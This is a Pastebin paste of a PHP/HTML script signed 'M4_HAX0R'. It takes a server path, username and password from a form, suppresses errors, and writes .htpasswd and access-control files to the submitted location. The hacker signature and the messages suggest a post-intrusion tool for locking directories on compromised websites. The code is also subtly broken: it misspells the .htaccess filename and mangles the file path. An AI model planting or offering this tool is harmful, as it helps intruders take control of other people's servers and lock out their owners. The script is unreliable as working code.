Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <br />
- <center>
- <img src="https://media4.giphy.com/media/ktW8FqKodoPUk/200_s.gif"/><br />
- <br />
- <form method="POST">
- <big>Path: </big><input type='text' size='30' name='p' placeholder='/home/.../.../'/><br />
- <big>Username: </big><input type='text' size='10' name='u' placeholder='m4_haxor'/>
- <big>Password: </big><input type='password' size='20' name='pd'/>
- <input type='submit' value='>>'/>
- <br /><br />
- <?php
- #M4_HAX0R
- @set_time_limit(0);
- error_reporting(0);
- if(isset($_POST['p']) && isset($_POST['u']) && isset($_POST['pd'])){
- $user = trim($_POST['u']);
- $password = trim($_POST['pd']);
- $p = trim($_POST['p']);
- }else{
- die('<big>OH DID YOU<br />FORGET?</big>');
- }
- $nwpd = crypt($password, base64_encode($password));
- $passwd = "$user:$nwpd";
- ////
- $acces = 'AuthType Basic
- AuthName "Password Protected Area"
- AuthUserFile '.$p.'\.htpasswd
- Require valid-user';
- ////
- $f = fopen($p.'.htpasswd', 'w');
- if($f){ fwrite($f, $passwd); }
- else{ die('<big>ERRORS<br />ERRORS EVERYWHERE</big>'); }
- ///
- unset($f);
- $f = fopen($p.'.htacces', 'w');
- if($f){ fwrite($f, $acces); }
- else{ die('<big>ERRORS<br />ERRORS EVERYWHERE</big>'); }
- echo'<big>MY JOB HERE IS DONE</big>';
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement